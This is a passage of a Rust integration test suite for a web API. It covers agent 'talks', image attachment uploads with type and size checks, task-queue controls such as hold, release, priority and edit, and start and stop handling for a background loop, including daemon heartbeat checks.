5733 let id = f.post("/api/talks", None).await.json()["id"]
5734 .as_str()
5735 .expect("id")
5736 .to_owned();
5737 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5738 assert_eq!(closed.status, 200, "{}", closed.body);
5739 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5740 .expect("serialize closed talk");
5741 for (path, body) in [
5742 (format!("/api/talks/{id}/pending/resume"), None),
5743 (
5744 format!("/api/talks/{id}/pending/clear"),
5745 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5746 ),
5747 (
5748 format!("/api/talks/{id}/pending/edit"),
5749 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5750 ),
5751 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5752 ] {
5753 let response = f.post(&path, body).await;
5754 assert_eq!(response.status, 409, "{}", response.body);
5755 }
5756 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5757 .expect("serialize closed talk");
5758 assert_eq!(
5759 after_clear, before_clear,
5760 "clear must not rewrite a closed talk"
5761 );
5762 }
5763
5764 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5767
5768 #[tokio::test]
5769 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5770 let tmp = TempDir::new().expect("tempdir");
5771 let repo = tmp.path().join("repo");
5772 std::fs::create_dir_all(&repo).expect("repo dir");
5773 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5774 let f = Fixture::with_repo(repo).await;
5775 let id_a = f.post("/api/talks", None).await.json()["id"]
5776 .as_str()
5777 .unwrap()
5778 .to_owned();
5779 let id_b = f.post("/api/talks", None).await.json()["id"]
5780 .as_str()
5781 .unwrap()
5782 .to_owned();
5783
5784 let a = f
5785 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5786 .await;
5787 assert_eq!(a.status, 202, "{}", a.body);
5788 assert_eq!(a.json()["thinking"], true);
5789 let b = f
5790 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5791 .await;
5792 assert_eq!(b.status, 202, "{}", b.body);
5793 assert_eq!(b.json()["thinking"], true);
5794
5795 let listed = f.get("/api/talks").await.json();
5796 for id in [&id_a, &id_b] {
5797 let view = listed
5798 .as_array()
5799 .unwrap()
5800 .iter()
5801 .find(|talk| talk["id"] == *id)
5802 .unwrap();
5803 assert_eq!(view["thinking"], true, "{listed}");
5804 }
5805 let repeated = f
5806 .post(
5807 &format!("/api/talks/{id_a}/say"),
5808 Some(r#"{"text":"again"}"#),
5809 )
5810 .await;
5811 assert_eq!(repeated.status, 202, "{}", repeated.body);
5812 assert_eq!(repeated.json()["pending"], "again");
5813 }
5814
5815 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
5818
5819 #[tokio::test]
5820 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
5821 let f = Fixture::start().await;
5822 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
5823
5824 let res = f
5825 .post_bytes(
5826 &format!("/api/talks/{id}/attachments"),
5827 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5828 PNG_BYTES,
5829 )
5830 .await;
5831 assert_eq!(res.status, 201, "{}", res.body);
5832 let body = res.json();
5833 assert_eq!(body["name"], "shot.png");
5834 assert_eq!(body["mime"], "image/png");
5835 assert_eq!(body["bytes"], PNG_BYTES.len());
5836 let att_id = body["id"].as_str().expect("id").to_owned();
5837 assert_eq!(
5838 att_id.len(),
5839 32,
5840 "the id must never be a client-suppliable path: {att_id}"
5841 );
5842
5843 let got = f
5844 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
5845 .await;
5846 assert_eq!(got.status, 200, "{}", got.body);
5847 assert_eq!(got.header("content-type"), Some("image/png"));
5848 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
5849 assert_eq!(got.bytes, PNG_BYTES);
5850 }
5851
5852 #[tokio::test]
5853 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
5854 let f = Fixture::start().await;
5855 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
5856
5857 let svg = f
5860 .post_bytes(
5861 &format!("/api/talks/{id}/attachments"),
5862 &[("Content-Type", "image/svg+xml")],
5863 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
5864 )
5865 .await;
5866 assert!(
5867 (400..500).contains(&svg.status),
5868 "svg must be refused: {} {}",
5869 svg.status,
5870 svg.body
5871 );
5872 assert!(svg.body.contains("SVG"), "{}", svg.body);
5873
5874 let text = f
5875 .post_bytes(
5876 &format!("/api/talks/{id}/attachments"),
5877 &[("Content-Type", "text/plain")],
5878 b"just some text",
5879 )
5880 .await;
5881 assert!(
5882 (400..500).contains(&text.status),
5883 "an unlisted type must be refused: {} {}",
5884 text.status,
5885 text.body
5886 );
5887
5888 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
5891 let big = f
5892 .post_bytes(
5893 &format!("/api/talks/{id}/attachments"),
5894 &[("Content-Type", "image/png")],
5895 &oversized,
5896 )
5897 .await;
5898 assert_eq!(
5899 big.status,
5900 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
5901 "{}",
5902 big.body
5903 );
5904 }
5905
5906 #[tokio::test]
5907 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
5908 let f = Fixture::start().await;
5909 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
5910
5911 let res = f
5914 .post_bytes(
5915 &format!("/api/talks/{id}/attachments"),
5916 &[("Content-Type", "image/png")],
5917 b"<html>not a picture</html>",
5918 )
5919 .await;
5920 assert!((400..500).contains(&res.status), "{}", res.body);
5921 }
5922
5923 #[tokio::test]
5924 async fn an_unknown_attachment_id_is_a_404() {
5925 let f = Fixture::start().await;
5926 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
5927
5928 let res = f
5929 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
5930 .await;
5931 assert_eq!(res.status, 404, "{}", res.body);
5932 }
5933
5934 #[tokio::test]
5935 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
5936 let f = Fixture::start().await;
5937 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
5938
5939 let uploaded = f
5940 .post_bytes(
5941 &format!("/api/talks/{id}/attachments"),
5942 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5943 PNG_BYTES,
5944 )
5945 .await;
5946 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5947 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
5948
5949 let res = f
5950 .post(
5951 &format!("/api/talks/{id}/say"),
5952 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
5953 )
5954 .await;
5955 assert_eq!(res.status, 202, "{}", res.body);
5956 let queued = res.json();
5957 let turns = queued["turns"].as_array().expect("turns array");
5958 assert_eq!(
5959 turns.len(),
5960 1,
5961 "an empty body with an attachment is still a turn: {queued}"
5962 );
5963 assert_eq!(turns[0]["who"], "operator");
5964 assert_eq!(turns[0]["body"], "");
5965 let atts = turns[0]["attachments"]
5966 .as_array()
5967 .expect("attachments array");
5968 assert_eq!(atts.len(), 1);
5969 assert_eq!(atts[0]["id"], att_id);
5970 assert_eq!(atts[0]["mime"], "image/png");
5971
5972 let on_disk = f.talks().get(&id).expect("get");
5975 assert_eq!(on_disk.turns[0].attachments.len(), 1);
5976 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
5977 }
5978
5979 #[tokio::test]
5980 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
5981 let f = Fixture::start().await;
5982 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
5983
5984 let res = f
5985 .post(
5986 &format!("/api/talks/{id}/say"),
5987 Some(&format!(
5988 r#"{{"text":"hi","attachments":["{}"]}}"#,
5989 "a".repeat(32)
5990 )),
5991 )
5992 .await;
5993 assert!((400..500).contains(&res.status), "{}", res.body);
5994 assert!(res.body.contains("unknown attachment"), "{}", res.body);
5995
5996 let on_disk = f.talks().get(&id).expect("get");
5997 assert!(
5998 on_disk.turns.is_empty(),
5999 "a rejected attachment id must not partially record the turn: {:?}",
6000 on_disk.turns
6001 );
6002 }
6003
6004 #[tokio::test]
6005 async fn talk_close_makes_the_talk_refuse_further_turns() {
6006 let f = Fixture::start().await;
6007 let id = seed_talk(&f, "20260904-014455-cd34", "open");
6008
6009 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6010 assert_eq!(closed.status, 200, "{}", closed.body);
6011 assert_eq!(closed.json()["status"], "closed");
6012
6013 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6015 assert_eq!(closed_again.status, 200);
6016 assert_eq!(closed_again.json()["status"], "closed");
6017
6018 let said = f
6019 .post(
6020 &format!("/api/talks/{id}/say"),
6021 Some(r#"{"text":"too late"}"#),
6022 )
6023 .await;
6024 assert_eq!(said.status, 409, "{}", said.body);
6025 }
6026
6027 #[tokio::test]
6028 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6029 let (_tmp, _repo, f) = talk_fixture().await;
6030 let id = f.post("/api/talks", None).await.json()["id"]
6031 .as_str()
6032 .expect("id")
6033 .to_owned();
6034 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6035 assert_eq!(closed.status, 200, "{}", closed.body);
6036
6037 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6038 assert_eq!(reopened.status, 200, "{}", reopened.body);
6039 assert_eq!(reopened.json()["status"], "open");
6040
6041 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6043 assert_eq!(reopened_again.status, 200);
6044 assert_eq!(reopened_again.json()["status"], "open");
6045
6046 let said = f
6047 .post(
6048 &format!("/api/talks/{id}/say"),
6049 Some(r#"{"text":"still there?"}"#),
6050 )
6051 .await;
6052 assert_eq!(
6053 said.status, 202,
6054 "a reopened talk accepts turns again: {}",
6055 said.body
6056 );
6057 }
6058
6059 #[tokio::test]
6060 async fn talk_reopen_on_an_unknown_id_is_404() {
6061 let f = Fixture::start().await;
6062 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6063 assert_eq!(res.status, 404, "{}", res.body);
6064 }
6065
6066 #[tokio::test]
6067 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6068 let f = Fixture::start().await;
6069 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6070
6071 let deleted = f.delete(&format!("/api/talks/{id}")).await;
6072 assert_eq!(deleted.status, 204, "{}", deleted.body);
6073
6074 let after = f.get(&format!("/api/talks/{id}")).await;
6075 assert_eq!(after.status, 404, "{}", after.body);
6076
6077 let listed = f.get("/api/talks").await.json();
6078 assert!(
6079 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6080 "a deleted talk must not linger in the list: {listed}"
6081 );
6082 }
6083
6084 #[tokio::test]
6085 async fn talk_delete_on_an_unknown_id_is_404() {
6086 let f = Fixture::start().await;
6087 let res = f.delete("/api/talks/nonexistent-id").await;
6088 assert_eq!(res.status, 404, "{}", res.body);
6089 }
6090
6091 #[tokio::test]
6092 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6093 let f = Fixture::start().await;
6094 let queue = f.queue();
6095 let mut task = Task::new(
6096 "spent".to_owned(),
6097 "Try again".to_owned(),
6098 PathBuf::from("/repo/magi"),
6099 Source::Human,
6100 );
6101 task.start("20260902-140502-bbbb".to_owned());
6102 task.fail("agent gave up", 9);
6103 queue.put(&mut task).expect("file the task");
6104
6105 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6106 assert_eq!(held.status, 200);
6107 assert_eq!(held.json()["status_str"], "held");
6108
6109 let released = f
6110 .post(&format!("/api/queue/{}/release", task.id), None)
6111 .await;
6112 assert_eq!(released.status, 200);
6113 assert_eq!(released.json()["status_str"], "queued");
6114 assert_eq!(
6115 released.json()["attempts"],
6116 0,
6117 "release is a real second chance, not an instant re-hold"
6118 );
6119 assert_eq!(
6120 queue.get(&task.id).expect("reload").status,
6121 TaskStatus::Queued,
6122 "the change is on disk, not only in the reply"
6123 );
6124 assert!(
6125 !f.home
6126 .path()
6127 .join("queue")
6128 .join(format!("{}.lock", task.id))
6129 .exists(),
6130 "the claim the mutation took is released again"
6131 );
6132 }
6133
6134 #[tokio::test]
6135 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6136 let f = Fixture::start().await;
6137 let queue = f.queue();
6138 let mut task = Task::new(
6139 "busy".to_owned(),
6140 "Running right now".to_owned(),
6141 PathBuf::from("/repo/magi"),
6142 Source::Human,
6143 );
6144 queue.put(&mut task).expect("file the task");
6145 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6146
6147 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6148
6149 assert_eq!(res.status, 409);
6150 assert_eq!(
6151 queue.get(&task.id).expect("reload").status,
6152 TaskStatus::Queued,
6153 "the refused hold changed nothing"
6154 );
6155 }
6156
6157 #[tokio::test]
6158 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6159 let f = Fixture::start().await;
6160 let queue = f.queue();
6161 let mut task = Task::new(
6162 "waiting on the migration".to_owned(),
6163 "Do the thing".to_owned(),
6164 PathBuf::from("/repo/magi"),
6165 Source::Human,
6166 );
6167 queue.put(&mut task).expect("file the task");
6168
6169 let held = f
6170 .post(
6171 &format!("/api/queue/{}/hold", task.id),
6172 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6173 )
6174 .await;
6175 assert_eq!(held.status, 200, "{}", held.body);
6176 assert_eq!(held.json()["status_str"], "held");
6177 assert_eq!(
6178 held.json()["hold_reason"],
6179 "waiting for 20260101-000000-aaaa to land"
6180 );
6181
6182 let listed = f.get("/api/queue").await.json();
6183 assert_eq!(
6184 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6185 "the card reads the reason off the same list route"
6186 );
6187
6188 let mut plain = Task::new(
6191 "no reason given".to_owned(),
6192 "Do another thing".to_owned(),
6193 PathBuf::from("/repo/magi"),
6194 Source::Human,
6195 );
6196 queue.put(&mut plain).expect("file the task");
6197 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6198 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6199 assert!(held_plain.json()["hold_reason"].is_null());
6200
6201 let released = f
6202 .post(&format!("/api/queue/{}/release", task.id), None)
6203 .await;
6204 assert_eq!(released.status, 200);
6205 assert!(
6206 released.json()["hold_reason"].is_null(),
6207 "a release must clear the reason so the next hold does not inherit it"
6208 );
6209 }
6210
6211 #[tokio::test]
6212 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6213 let f = Fixture::start().await;
6214 let queue = f.queue();
6215 let mut older = Task::new(
6216 "filed first".to_owned(),
6217 "x".to_owned(),
6218 PathBuf::from("/repo/magi"),
6219 Source::Human,
6220 );
6221 older.id = "20260101-000001-aaaa".to_owned();
6222 let mut newer = Task::new(
6223 "filed second".to_owned(),
6224 "x".to_owned(),
6225 PathBuf::from("/repo/magi"),
6226 Source::Human,
6227 );
6228 newer.id = "20260101-000002-bbbb".to_owned();
6229 queue.put(&mut older).expect("file older");
6230 queue.put(&mut newer).expect("file newer");
6231
6232 let before = f.get("/api/queue").await.json();
6235 assert_eq!(before[0]["id"], newer.id);
6236 assert_eq!(before[1]["id"], older.id);
6237
6238 let raised = f
6242 .post(
6243 &format!("/api/queue/{}/priority", older.id),
6244 Some(r#"{"priority":10}"#),
6245 )
6246 .await;
6247 assert_eq!(raised.status, 200, "{}", raised.body);
6248 assert_eq!(raised.json()["priority"], 10);
6249
6250 let after = f.get("/api/queue").await.json();
6251 let names: Vec<&str> = after
6252 .as_array()
6253 .unwrap()
6254 .iter()
6255 .map(|t| t["id"].as_str().unwrap())
6256 .collect();
6257 assert_eq!(names[0], older.id, "the raised task now sorts first");
6261 }
6262
6263 #[tokio::test]
6264 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6265 let f = Fixture::start().await;
6266 let queue = f.queue();
6267 let mut task = Task::new(
6268 "in flight".to_owned(),
6269 "x".to_owned(),
6270 PathBuf::from("/repo/magi"),
6271 Source::Human,
6272 );
6273 task.start("20260902-140502-bbbb".to_owned());
6274 queue.put(&mut task).expect("file the task");
6275
6276 let res = f
6277 .post(
6278 &format!("/api/queue/{}/priority", task.id),
6279 Some(r#"{"priority":9}"#),
6280 )
6281 .await;
6282 assert_eq!(res.status, 400, "{}", res.body);
6283 assert!(
6284 res.json()["error"]
6285 .as_str()
6286 .is_some_and(|e| e.contains("running")),
6287 "{}",
6288 res.body
6289 );
6290 assert_eq!(
6291 queue.get(&task.id).expect("reload").priority,
6292 0,
6293 "the refused write must not partially apply"
6294 );
6295 }
6296
6297 #[tokio::test]
6298 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6299 let f = Fixture::start().await;
6300 let queue = f.queue();
6301 let mut task = Task::new(
6302 "old title".to_owned(),
6303 "old instruction".to_owned(),
6304 PathBuf::from("/repo/magi"),
6305 Source::Agent {
6306 run: "20260101-000000-beef".to_owned(),
6307 node: "implement".to_owned(),
6308 },
6309 );
6310 task.runs.push("20260101-000000-beef".to_owned());
6311 queue.put(&mut task).expect("file the task");
6312 let created_at = task.created_at;
6313
6314 let edited = f
6315 .post(
6316 &format!("/api/queue/{}/edit", task.id),
6317 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6318 )
6319 .await;
6320 assert_eq!(edited.status, 200, "{}", edited.body);
6321 let body = edited.json();
6322 assert_eq!(body["title"], "new title");
6323 assert_eq!(body["instruction"], "new instruction");
6324 assert_eq!(body["id"], task.id, "editing must not mint a new id");
6325 assert_eq!(body["created_at"], created_at.to_string());
6326 assert_eq!(
6327 body["source"]["kind"], "agent",
6328 "editing a task an agent filed must not turn it human: {body}"
6329 );
6330 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6331
6332 let reloaded = queue.get(&task.id).expect("reload");
6333 assert_eq!(reloaded.title, "new title");
6334 assert_eq!(reloaded.instruction, "new instruction");
6335 }
6336
6337 #[tokio::test]
6338 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6339 let f = Fixture::start().await;
6340 let queue = f.queue();
6341 let mut task = Task::new(
6342 "in flight".to_owned(),
6343 "do not touch".to_owned(),
6344 PathBuf::from("/repo/magi"),
6345 Source::Human,
6346 );
6347 task.start("20260902-140502-bbbb".to_owned());
6348 queue.put(&mut task).expect("file the task");
6349
6350 let res = f
6351 .post(
6352 &format!("/api/queue/{}/edit", task.id),
6353 Some(r#"{"title":"x","instruction":"y"}"#),
6354 )
6355 .await;
6356 assert_eq!(res.status, 400, "{}", res.body);
6357 assert!(
6358 res.json()["error"]
6359 .as_str()
6360 .is_some_and(|e| e.contains("running")),
6361 "{}",
6362 res.body
6363 );
6364 assert_eq!(
6365 queue.get(&task.id).expect("reload").instruction,
6366 "do not touch",
6367 "the refused edit must not change the file"
6368 );
6369 }
6370
6371 #[tokio::test]
6372 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6373 let f = Fixture::start().await;
6374 let queue = f.queue();
6375 let mut task = Task::new(
6376 "busy".to_owned(),
6377 "Running right now".to_owned(),
6378 PathBuf::from("/repo/magi"),
6379 Source::Human,
6380 );
6381 queue.put(&mut task).expect("file the task");
6382 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6383
6384 let priority = f
6385 .post(
6386 &format!("/api/queue/{}/priority", task.id),
6387 Some(r#"{"priority":9}"#),
6388 )
6389 .await;
6390 assert_eq!(priority.status, 409, "{}", priority.body);
6391
6392 let edit = f
6393 .post(
6394 &format!("/api/queue/{}/edit", task.id),
6395 Some(r#"{"title":"x","instruction":"y"}"#),
6396 )
6397 .await;
6398 assert_eq!(edit.status, 409, "{}", edit.body);
6399 }
6400
6401 #[tokio::test]
6402 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6403 let f = Fixture::start().await;
6404 let queue = f.queue();
6405 let mut task = Task::new(
6406 "shipped by hand".to_owned(),
6407 "merged outside the loop".to_owned(),
6408 PathBuf::from("/repo/magi"),
6409 Source::Agent {
6410 run: "20260101-000000-b455".to_owned(),
6411 node: "implement".to_owned(),
6412 },
6413 );
6414 task.runs.push("20260101-000000-b455".to_owned());
6415 task.runs.push("20260101-000000-9af4".to_owned());
6416 queue.put(&mut task).expect("file the task");
6417 let created_at = task.created_at;
6418
6419 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6420 assert_eq!(done.status, 200, "{}", done.body);
6421 assert_eq!(done.json()["status_str"], "done");
6422
6423 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6424 assert_eq!(
6425 reloaded.runs,
6426 ["20260101-000000-b455", "20260101-000000-9af4"]
6427 );
6428 assert_eq!(
6429 reloaded.source,
6430 Source::Agent {
6431 run: "20260101-000000-b455".to_owned(),
6432 node: "implement".to_owned(),
6433 }
6434 );
6435 assert_eq!(reloaded.created_at, created_at);
6436 }
6437
6438 #[tokio::test]
6439 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6440 let f = Fixture::start().await;
6445 let queue = f.queue();
6446 let mut task = Task::new(
6447 "landed while held".to_owned(),
6448 "x".to_owned(),
6449 PathBuf::from("/repo/magi"),
6450 Source::Human,
6451 );
6452 task.hold_manual(Some("waiting on 3ed9".to_owned()));
6453 queue.put(&mut task).expect("file the held task");
6454
6455 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6456 assert_eq!(done.status, 200, "{}", done.body);
6457 assert_eq!(done.json()["status_str"], "done");
6458 assert!(
6459 done.json()["hold_reason"].is_null(),
6460 "a done task cannot still be waiting on something: {}",
6461 done.body
6462 );
6463 }
6464
6465 #[tokio::test]
6466 async fn unknown_ids_are_json_not_found_on_both_stores() {
6467 let f = Fixture::start().await;
6468
6469 let run = f.get("/api/runs/nosuchrun").await;
6470 let task = f.post("/api/queue/nosuchtask/hold", None).await;
6471
6472 assert_eq!(run.status, 404);
6473 assert_eq!(task.status, 404);
6474 assert!(
6475 run.json()["error"]
6476 .as_str()
6477 .is_some_and(|e| e.contains("run")),
6478 "the error names what was not found: {}",
6479 run.body
6480 );
6481 assert!(
6482 task.json()["error"]
6483 .as_str()
6484 .is_some_and(|e| e.contains("task")),
6485 "the error names what was not found: {}",
6486 task.body
6487 );
6488 }
6489
6490 #[tokio::test]
6491 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6492 let f = Fixture::start().await;
6493
6494 let missing = f.get("/api/health").await.json();
6495 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6496
6497 write_daemon(
6498 f.home.path(),
6499 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6500 );
6501 let stale = f.get("/api/health").await.json();
6502 assert_eq!(
6503 stale["daemon"]["running"], false,
6504 "a minute without a heartbeat is a dead daemon, not a busy one"
6505 );
6506 assert!(
6507 stale["daemon"]["stale_for_secs"]
6508 .as_i64()
6509 .is_some_and(|s| s >= 55),
6510 "staleness is reported so the UI can say how long: {stale}"
6511 );
6512
6513 write_daemon(f.home.path(), Timestamp::now());
6514 let fresh = f.get("/api/health").await.json();
6515 assert_eq!(fresh["daemon"]["running"], true);
6516 assert_eq!(fresh["daemon"]["idle"], false);
6517 assert_eq!(fresh["daemon"]["pid"], 4242);
6518 assert_eq!(fresh["daemon"]["completed"], 7);
6519 assert_eq!(
6520 fresh["daemon"]["current"][0]["task"],
6521 "20260902-140501-aaaa"
6522 );
6523 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6524 }
6525
6526 #[tokio::test]
6527 async fn the_loop_is_not_running_until_something_starts_it() {
6528 let f = Fixture::start().await;
6529
6530 let view = f.get("/api/loop").await.json();
6531 assert_eq!(view["running"], false);
6532 assert_eq!(
6533 view["owned"], false,
6534 "nobody owns a loop that does not exist: {view}"
6535 );
6536 assert_eq!(view["stopping"], false);
6537 assert_eq!(view["last_error"], Value::Null);
6538 assert_eq!(view["daemon"]["running"], false);
6539 assert_eq!(
6540 view["repo"], "/repo/magi",
6541 "the repository a start would use, named before it is started"
6542 );
6543 }
6544
6545 #[tokio::test]
6546 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6547 let f = Fixture::start().await;
6548
6549 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6550 assert_eq!(res.status, 200, "{}", res.body);
6551 let view = res.json();
6552 assert_eq!(view["running"], true);
6553 assert_eq!(
6554 view["owned"], true,
6555 "the loop the UI started is the UI's own to stop: {view}"
6556 );
6557 assert_eq!(
6558 view["merge"],
6559 Value::Null,
6560 "no override was given, so each repository's own config decides"
6561 );
6562
6563 let health = f.get("/api/health").await.json();
6567 assert_eq!(health["loop"]["running"], true, "{health}");
6568 assert_eq!(health["loop"]["owned"], true, "{health}");
6569
6570 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6571 }
6572
6573 #[tokio::test]
6574 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6575 let f = Fixture::start().await;
6576 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6577 assert_eq!(first.status, 200, "{}", first.body);
6578
6579 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6580 assert_eq!(
6581 again.status, 409,
6582 "two loops on one queue race for the same claims: {}",
6583 again.body
6584 );
6585 assert!(
6586 again.json()["error"]
6587 .as_str()
6588 .is_some_and(|e| e.contains("already running the loop")),
6589 "the refusal has to say why: {}",
6590 again.body
6591 );
6592 assert_eq!(
6593 f.get("/api/loop").await.json()["running"],
6594 true,
6595 "and the loop that was already running is untouched by it"
6596 );
6597
6598 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6599 }
6600
6601 #[tokio::test]
6602 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6603 let f = Fixture::start().await;
6604 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6605
6606 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6607 assert_eq!(
6608 res.status, 200,
6609 "the answer must not wait for the loop: a run in flight is tens of \
6610 minutes and the operator is holding a phone: {}",
6611 res.body
6612 );
6613
6614 let view = settled(&f, |v| v["running"] == false).await;
6615 assert_eq!(view["owned"], false);
6616 assert_eq!(
6617 view["stopping"], false,
6618 "a loop that has stopped is not still stopping: {view}"
6619 );
6620 assert_eq!(
6621 view["last_error"],
6622 Value::Null,
6623 "a loop that was asked to stop did not fail: {view}"
6624 );
6625
6626 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6629 assert_eq!(twice.status, 200, "{}", twice.body);
6630 }
6631
6632 #[tokio::test]
6633 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6634 let f = Fixture::start().await;
6635 write_daemon(f.home.path(), Timestamp::now());
6638
6639 let view = f.get("/api/loop").await.json();
6640 assert_eq!(view["running"], false, "not in this process: {view}");
6641 assert_eq!(view["owned"], false, "and not this process's to control");
6642 assert_eq!(
6643 view["daemon"]["running"], true,
6644 "but a loop is alive somewhere, which is what the UI must say"
6645 );
6646 assert_eq!(view["daemon"]["pid"], 4242);
6647
6648 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6649 let res = f.post("/api/loop", Some(body)).await;
6650 assert_eq!(
6651 res.status, 409,
6652 "neither button may pretend to work on someone else's loop: {}",
6653 res.body
6654 );
6655 assert!(
6656 res.json()["error"]
6657 .as_str()
6658 .is_some_and(|e| e.contains("4242")),
6659 "the refusal has to name the process the operator must go to: {}",
6660 res.body
6661 );
6662 }
6663 assert_eq!(
6664 f.get("/api/loop").await.json()["running"],
6665 false,
6666 "and the refusal started nothing"
6667 );
6668 }
6669
6670 #[tokio::test]
6671 async fn a_stale_status_file_is_not_a_foreign_owner() {
6672 let f = Fixture::start().await;
6673 write_daemon(
6674 f.home.path(),
6675 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6676 );
6677
6678 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6679 assert_eq!(
6680 res.status, 200,
6681 "a daemon killed a minute ago must not lock the loop out of its \
6682 own home for good: {}",
6683 res.body
6684 );
6685 assert_eq!(res.json()["running"], true);
6686
6687 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6688 }
6689
6690 #[tokio::test]
6691 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6692 let f = Fixture::start().await;
6693 let before = f.get("/api/health").await.json()["loop_rev"]
6694 .as_u64()
6695 .expect("a loop revision");
6696
6697 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6698
6699 let after = f.get("/api/health").await.json()["loop_rev"]
6700 .as_u64()
6701 .expect("a loop revision");
6702 assert!(
6703 after > before,
6704 "the loop is in-process state, so this counter is the only thing \
6705 that tells a second device the first one started it: {before} -> \
6706 {after}"
6707 );
6708
6709 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6710 }
6711
6712 #[tokio::test]
6713 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6714 let f = Fixture::with_loop(launch_broken).await;
6715
6716 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6717 assert_eq!(
6718 res.status, 200,
6719 "starting it is not the failure: {}",
6720 res.body
6721 );
6722
6723 let view = settled(&f, |v| v["last_error"].is_string()).await;
6724 assert_eq!(
6725 view["running"], false,
